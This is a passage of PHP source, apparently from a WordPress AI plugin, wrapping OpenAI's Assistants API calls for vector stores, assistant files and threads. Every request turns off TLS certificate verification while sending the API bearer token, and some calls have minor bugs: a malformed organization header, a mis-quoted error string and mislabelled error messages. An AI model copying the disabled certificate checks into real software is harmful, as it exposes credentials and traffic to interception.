trim($prx_auth[$randomness]) != '') { curl_setopt($ch, CURLOPT_PROXYUSERPWD , trim($prx_auth[$randomness])); } } } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '') { $ztime = intval($aiomatic_Main_Settings['max_timeout']); } else { $ztime = 300; } curl_setopt($ch, CURLOPT_TIMEOUT, $ztime); $response = curl_exec($ch); if ($response === false) { $error = curl_error($ch); curl_close($ch); throw new Exception('Curl error: ' . $error); } $decodedResponse = json_decode($response, true); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($httpCode != 200) { $error = curl_error($ch); curl_close($ch); throw new Exception("Response with Status Code: " . $httpCode . (isset($decodedResponse['error']['message']) ? ', error: ' . $decodedResponse['error']['message'] : '')); } $assistants = array_merge($assistants, $decodedResponse['data']); $has_more = $decodedResponse['has_more']; $after = $decodedResponse['has_more'] ? end($decodedResponse['data'])['id'] : null; if($after === null) { $has_more = false; } curl_close($ch); } return $assistants; } function aiomatic_openai_list_vector_store_files($token, $vector_store_id, $limit = 100, $order = 'desc') { $assistants = []; $has_more = true; $after = null; while ($has_more) { $url = 'https://api.openai.com/v1/vector_stores/' . $vector_store_id . '/files?limit=' . $limit . '&order=' . $order; if ($after) { $url .= '&after=' . $after; } $headers = [ 'Content-Type: application/json', 'Authorization: Bearer ' . $token, 'OpenAI-Beta: assistants=v2' ]; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $headers['OpenAI-Organization'] = $aiomatic_Main_Settings['openai_organization']; } $ch = curl_init($url); if ($ch === false) { throw new Exception('Failed to init curl'); } if (isset($aiomatic_Main_Settings['proxy_ai']) && $aiomatic_Main_Settings['proxy_ai'] == 'on' && isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); curl_setopt($ch, CURLOPT_PROXY , trim($prx[$randomness])); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { curl_setopt($ch, CURLOPT_PROXYUSERPWD , trim($prx_auth[$randomness])); } } } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '') { $ztime = intval($aiomatic_Main_Settings['max_timeout']); } else { $ztime = 300; } curl_setopt($ch, CURLOPT_TIMEOUT, $ztime); $response = curl_exec($ch); if ($response === false) { $error = curl_error($ch); curl_close($ch); throw new Exception('Curl error: ' . $error); } $decodedResponse = json_decode($response, true); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($httpCode != 200) { $error = curl_error($ch); curl_close($ch); throw new Exception("Response with Status Code: " . $httpCode . (isset($decodedResponse['error']['message']) ? ', error: ' . $decodedResponse['error']['message'] : '')); } $assistants = array_merge($assistants, $decodedResponse['data']); $has_more = $decodedResponse['has_more']; $after = $decodedResponse['has_more'] ? end($decodedResponse['data'])['id'] : null; if($after === null) { $has_more = false; } curl_close($ch); } return $assistants; } function aiomatic_openai_retrieve_assistant($token, $assistant_id) { if (empty($assistant_id)) { throw new Exception('Assistant ID cannot be empty'); } $url = "https://api.openai.com/v1/assistants/" . $assistant_id; $headers = [ "Content-Type: application/json", "Authorization: Bearer " . $token, "OpenAI-Beta: assistants=v2" ]; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $headers['OpenAI-Organization'] = $aiomatic_Main_Settings['openai_organization']; } $ch = curl_init($url); if ($ch === false) { throw new Exception('Failed to initialize cURL'); } if (isset($aiomatic_Main_Settings['proxy_ai']) && $aiomatic_Main_Settings['proxy_ai'] == 'on' && isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); curl_setopt($ch, CURLOPT_PROXY , trim($prx[$randomness])); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { curl_setopt($ch, CURLOPT_PROXYUSERPWD , trim($prx_auth[$randomness])); } } } curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $response = curl_exec($ch); if ($response === false) { $error = curl_error($ch); curl_close($ch); throw new Exception("cURL error: " . $error); } $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($httpCode != 200) { $error = curl_error($ch); curl_close($ch); $jsdec = json_decode($response, true); throw new Exception("HTTP request failed with code (assistant id: ' . $assistant_id . ') " . $httpCode . (isset($jsdec['error']['message']) ? ', error: ' . $jsdec['error']['message'] : '')); } curl_close($ch); $decodedResponse = json_decode($response, true); if (json_last_error() !== JSON_ERROR_NONE) { throw new Exception('Failed to decode JSON response'); } return $decodedResponse; } function aiomatic_openai_create_vector_store($token, $name, $files = []) { $url = "https://api.openai.com/v1/vector_stores"; $headers = [ 'Content-Type: application/json', 'Authorization: Bearer ' . $token, 'OpenAI-Beta: assistants=v2' ]; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $headers['OpenAI-Organization'] = $aiomatic_Main_Settings['openai_organization']; } $postData = [ 'name' => $name, 'file_ids' => $files ]; $ch = curl_init($url); if ($ch === false) { throw new Exception('Failed to initialize cURL session'); } if (isset($aiomatic_Main_Settings['proxy_ai']) && $aiomatic_Main_Settings['proxy_ai'] == 'on' && isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); curl_setopt($ch, CURLOPT_PROXY , trim($prx[$randomness])); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { curl_setopt($ch, CURLOPT_PROXYUSERPWD , trim($prx_auth[$randomness])); } } } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($postData)); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '') { $ztime = intval($aiomatic_Main_Settings['max_timeout']); } else { $ztime = 300; } curl_setopt($ch, CURLOPT_TIMEOUT, $ztime); $response = curl_exec($ch); if ($response === false) { $error = curl_error($ch); curl_close($ch); throw new Exception('cURL error: ' . $error); } $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($httpCode != 200) { $error = curl_error($ch); curl_close($ch); $jsdec = json_decode($response, true); throw new Exception("HTTP create thread request failed with status code " . $httpCode . (isset($jsdec['error']['message']) ? ', error: ' . $jsdec['error']['message'] : '')); } curl_close($ch); return json_decode($response, true); } function aiomatic_openai_list_vector_stores($token, $limit = 100, $order = 'desc') { $stores = []; $has_more = true; $after = null; while ($has_more) { $url = 'https://api.openai.com/v1/vector_stores?limit=' . $limit . '&order=' . $order; if ($after) { $url .= '&after=' . $after; } $headers = [ 'Content-Type: application/json', 'Authorization: Bearer ' . $token, 'OpenAI-Beta: assistants=v2' ]; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $headers['OpenAI-Organization'] = $aiomatic_Main_Settings['openai_organization']; } $ch = curl_init($url); if ($ch === false) { throw new Exception('Failed to init curl'); } if (isset($aiomatic_Main_Settings['proxy_ai']) && $aiomatic_Main_Settings['proxy_ai'] == 'on' && isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); curl_setopt($ch, CURLOPT_PROXY , trim($prx[$randomness])); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { curl_setopt($ch, CURLOPT_PROXYUSERPWD , trim($prx_auth[$randomness])); } } } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '') { $ztime = intval($aiomatic_Main_Settings['max_timeout']); } else { $ztime = 300; } curl_setopt($ch, CURLOPT_TIMEOUT, $ztime); $response = curl_exec($ch); if ($response === false) { $error = curl_error($ch); curl_close($ch); throw new Exception('Curl error: ' . $error); } $decodedResponse = json_decode($response, true); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($httpCode != 200) { $error = curl_error($ch); curl_close($ch); throw new Exception("Response with Status Code: " . $httpCode . (isset($decodedResponse['error']['message']) ? ', error: ' . $decodedResponse['error']['message'] : '')); } $stores = array_merge($stores, $decodedResponse['data']); $has_more = $decodedResponse['has_more']; $after = $decodedResponse['has_more'] ? end($decodedResponse['data'])['id'] : null; if($after === null) { $has_more = false; } curl_close($ch); } return $stores; } function aiomatic_openai_modify_vector_store($token, $vector_store_id, $name) { if (empty($vector_store_id)) { throw new Exception('Vectore store ID cannot be empty'); } $url = "https://api.openai.com/v1/vector_stores/" . $vector_store_id; $headers = [ 'Content-Type: application/json', 'Authorization: Bearer ' . $token, 'OpenAI-Beta: assistants=v2' ]; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $headers['OpenAI-Organization'] = $aiomatic_Main_Settings['openai_organization']; } $postData = [ 'name' => $name ]; $ch = curl_init($url); if ($ch === false) { throw new Exception('Failed to initialize cURL session'); } if (isset($aiomatic_Main_Settings['proxy_ai']) && $aiomatic_Main_Settings['proxy_ai'] == 'on' && isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); curl_setopt($ch, CURLOPT_PROXY , trim($prx[$randomness])); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { curl_setopt($ch, CURLOPT_PROXYUSERPWD , trim($prx_auth[$randomness])); } } } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST'); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($postData)); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '') { $ztime = intval($aiomatic_Main_Settings['max_timeout']); } else { $ztime = 300; } curl_setopt($ch, CURLOPT_TIMEOUT, $ztime); $response = curl_exec($ch); if ($response === false) { $error = curl_error($ch); curl_close($ch); throw new Exception('cURL error: ' . $error); } $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($httpCode != 200) { $error = curl_error($ch); curl_close($ch); $jsdec = json_decode($response, true); throw new Exception("HTTP modify vector store request failed with status code " . $httpCode . (isset($jsdec['error']['message']) ? ', error: ' . $jsdec['error']['message'] : '')); } curl_close($ch); return json_decode($response, true); } function aiomatic_openai_delete_vector_store($token, $vector_store_id) { if(empty($vector_store_id)) { throw new Exception('Vector store ID cannot be empty'); } $url = 'https://api.openai.com/v1/vector_stores/' . $vector_store_id; $headers = [ 'Content-Type: application/json', 'Authorization: Bearer ' . $token, 'OpenAI-Beta: assistants=v2' ]; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $headers['OpenAI-Organization'] = $aiomatic_Main_Settings['openai_organization']; } $ch = curl_init($url); if($ch === false) { throw new Exception('Failed to init curl'); } if (isset($aiomatic_Main_Settings['proxy_ai']) && $aiomatic_Main_Settings['proxy_ai'] == 'on' && isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); curl_setopt($ch, CURLOPT_PROXY , trim($prx[$randomness])); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { curl_setopt($ch, CURLOPT_PROXYUSERPWD , trim($prx_auth[$randomness])); } } } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'DELETE'); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '') { $ztime = intval($aiomatic_Main_Settings['max_timeout']); } else { $ztime = 300; } curl_setopt($ch, CURLOPT_TIMEOUT, $ztime); $response = curl_exec($ch); if($response === false) { $error = curl_error($ch); curl_close($ch); throw new Exception('Curl error: ' . $error); } $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($httpCode != 200) { $decodedResponse = json_decode($response, true); $error = curl_error($ch); curl_close($ch); throw new Exception("Response with Status Code: " . $httpCode . (isset($decodedResponse['error']['message']) ? ', error: ' . $decodedResponse['error']['message'] : '')); } curl_close($ch); return json_decode($response, true); } function aiomatic_openai_delete_vector_store_file($token, $vector_store_id, $file_id) { if(empty($vector_store_id)) { throw new Exception('Vectore store ID cannot be empty'); }if(empty($file_id)) { throw new Exception('File ID cannot be empty'); } $url = 'https://api.openai.com/v1/vector_stores/' . $vector_store_id . '/files/' . $file_id; $headers = [ 'Content-Type: application/json', 'Authorization: Bearer ' . $token, 'OpenAI-Beta: assistants=v2' ]; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $headers['OpenAI-Organization'] = $aiomatic_Main_Settings['openai_organization']; } $ch = curl_init($url); if($ch === false) { throw new Exception('Failed to init curl'); } if (isset($aiomatic_Main_Settings['proxy_ai']) && $aiomatic_Main_Settings['proxy_ai'] == 'on' && isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); curl_setopt($ch, CURLOPT_PROXY , trim($prx[$randomness])); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { curl_setopt($ch, CURLOPT_PROXYUSERPWD , trim($prx_auth[$randomness])); } } } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'DELETE'); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '') { $ztime = intval($aiomatic_Main_Settings['max_timeout']); } else { $ztime = 300; } curl_setopt($ch, CURLOPT_TIMEOUT, $ztime); $response = curl_exec($ch); if($response === false) { $error = curl_error($ch); curl_close($ch); throw new Exception('Curl error: ' . $error); } $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($httpCode != 200) { $decodedResponse = json_decode($response, true); $error = curl_error($ch); curl_close($ch); throw new Exception("Response with Status Code: " . $httpCode . (isset($decodedResponse['error']['message']) ? ', error: ' . $decodedResponse['error']['message'] : '')); } curl_close($ch); return json_decode($response, true); } function aiomatic_openai_create_vector_store_file($token, $vector_store_id, $file_id) { if (empty($vector_store_id)) { throw new Exception('Vector store ID cannot be empty'); } if (empty($file_id)) { throw new Exception('File ID cannot be empty'); } $url = "https://api.openai.com/v1/vector_stores/" . $vector_store_id . "/files"; $headers = [ 'Authorization: Bearer ' . $token, 'Content-Type: application/json', 'OpenAI-Beta: assistants=v2' ]; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $headers['OpenAI-Organization'] = $aiomatic_Main_Settings['openai_organization']; } $postData = [ 'file_id' => $file_id ]; $ch = curl_init($url); if ($ch === false) { throw new Exception('Failed to initialize cURL session'); } if (isset($aiomatic_Main_Settings['proxy_ai']) && $aiomatic_Main_Settings['proxy_ai'] == 'on' && isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); curl_setopt($ch, CURLOPT_PROXY , trim($prx[$randomness])); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { curl_setopt($ch, CURLOPT_PROXYUSERPWD , trim($prx_auth[$randomness])); } } } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($postData)); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '') { $ztime = intval($aiomatic_Main_Settings['max_timeout']); } else { $ztime = 300; } curl_setopt($ch, CURLOPT_TIMEOUT, $ztime); $response = curl_exec($ch); if ($response === false) { $error = curl_error($ch); curl_close($ch); throw new Exception('cURL error: ' . $error); } $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($httpCode != 200) { $error = curl_error($ch); curl_close($ch); $jsdec = json_decode($response, true); throw new Exception("HTTP create assistant request failed with status code" . $httpCode . (isset($jsdec['error']['message']) ? ', error: ' . $jsdec['error']['message'] : '')); } curl_close($ch); return json_decode($response, true); } function aiomatic_openai_create_assistant_file($token, $assistant_id, $file_id) { if (empty($assistant_id)) { throw new Exception('Assistant ID cannot be empty'); } if (empty($file_id)) { throw new Exception('File ID cannot be empty'); } $url = "https://api.openai.com/v1/assistants/" . $assistant_id . "/files"; $headers = [ 'Authorization: Bearer ' . $token, 'Content-Type: application/json', 'OpenAI-Beta: assistants=v2' ]; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $headers['OpenAI-Organization'] = $aiomatic_Main_Settings['openai_organization']; } $postData = [ 'file_id' => $file_id ]; $ch = curl_init($url); if ($ch === false) { throw new Exception('Failed to initialize cURL session'); } if (isset($aiomatic_Main_Settings['proxy_ai']) && $aiomatic_Main_Settings['proxy_ai'] == 'on' && isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); curl_setopt($ch, CURLOPT_PROXY , trim($prx[$randomness])); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { curl_setopt($ch, CURLOPT_PROXYUSERPWD , trim($prx_auth[$randomness])); } } } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($postData)); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '') { $ztime = intval($aiomatic_Main_Settings['max_timeout']); } else { $ztime = 300; } curl_setopt($ch, CURLOPT_TIMEOUT, $ztime); $response = curl_exec($ch); if ($response === false) { $error = curl_error($ch); curl_close($ch); throw new Exception('cURL error: ' . $error); } $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($httpCode != 200) { $error = curl_error($ch); curl_close($ch); $jsdec = json_decode($response, true); throw new Exception("HTTP create assistant request failed with status code" . $httpCode . (isset($jsdec['error']['message']) ? ', error: ' . $jsdec['error']['message'] : '')); } curl_close($ch); return json_decode($response, true); } function aiomatic_openai_modify_thread($token, $thread_id, $vector_store_id = '') { $url = "https://api.openai.com/v1/threads/" . $thread_id; $headers = [ 'Content-Type: application/json', 'Authorization: Bearer ' . $token, 'OpenAI-Beta: assistants=v2' ]; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $headers['OpenAI-Organization'] = $aiomatic_Main_Settings['openai_organization']; } $postData = []; if($vector_store_id != '') { $postData['tool_resources'] = [ 'file_search' => [ 'vector_store_ids' => [$vector_store_id] ] ]; } $ch = curl_init($url); if ($ch === false) { throw new Exception('Failed to initialize cURL session'); } if (isset($aiomatic_Main_Settings['proxy_ai']) && $aiomatic_Main_Settings['proxy_ai'] == 'on' && isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); curl_setopt($ch, CURLOPT_PROXY , trim($prx[$randomness])); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { curl_setopt($ch, CURLOPT_PROXYUSERPWD , trim($prx_auth[$randomness])); } } } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($postData)); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '') { $ztime = intval($aiomatic_Main_Settings['max_timeout']); } else { $ztime = 300; } curl_setopt($ch, CURLOPT_TIMEOUT, $ztime); $response = curl_exec($ch); if ($response === false) { $error = curl_error($ch); curl_close($ch); throw new Exception('cURL error: ' . $error); } $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($httpCode != 200) { $error = curl_error($ch); curl_close($ch); $jsdec = json_decode($response, true); throw new Exception("HTTP create thread request failed with status code " . $httpCode . (isset($jsdec['error']['message']) ? ', error: ' . $jsdec['error']['message'] : '')); } curl_close($ch); return json_decode($response, true); } function aiomatic_openai_create_thread($token, $messages = [], $vector_store_id = '') { $url = "https://api.openai.com/v1/threads"; $headers = [ 'Content-Type: application/json', 'Authorization: Bearer ' . $token, 'OpenAI-Beta: assistants=v2' ]; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $headers['OpenAI-Organization'] = $aiomatic_Main_Settings['openai_organization']; } $postData = [ 'messages' => $messages ]; if($vector_store_id != '') { $postData['tool_resources'] = [ 'file_search' => [ 'vector_store_ids' => [$vector_store_id] ] ]; } $ch = curl_init($url); if ($ch === false) { throw new Exception('Failed to initialize cURL session'); } if (isset($aiomatic_Main_Settings['proxy_ai']) && $aiomatic_Main_Settings['proxy_ai'] == 'on' && isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); curl_setopt($ch, CURLOPT_PROXY , trim($prx[$randomness])); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { curl_setopt($ch, CURLOPT_PROXYUSERPWD , trim($prx_auth[$randomness])); } } } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($postData)); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '') { $ztime = intval($aiomatic_Main_Settings['max_timeout']); } else { $ztime = 300; } curl_setopt($ch, CURLOPT_TIMEOUT, $ztime); $response = curl_exec($ch); if ($response === false) { $error = curl_error($ch); curl_close($ch); throw new Exception('cURL error: ' . $error); } $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($httpCode != 200) { $error = curl_error($ch); curl_close($ch); $jsdec = json_decode($response, true); throw new Exception("HTTP create thread request failed with status code " . $httpCode . (isset($jsdec['error']['message']) ? ', error: ' . $jsdec['error']['message'] : '')); } curl_close($ch); return json_decode($response, true); } function 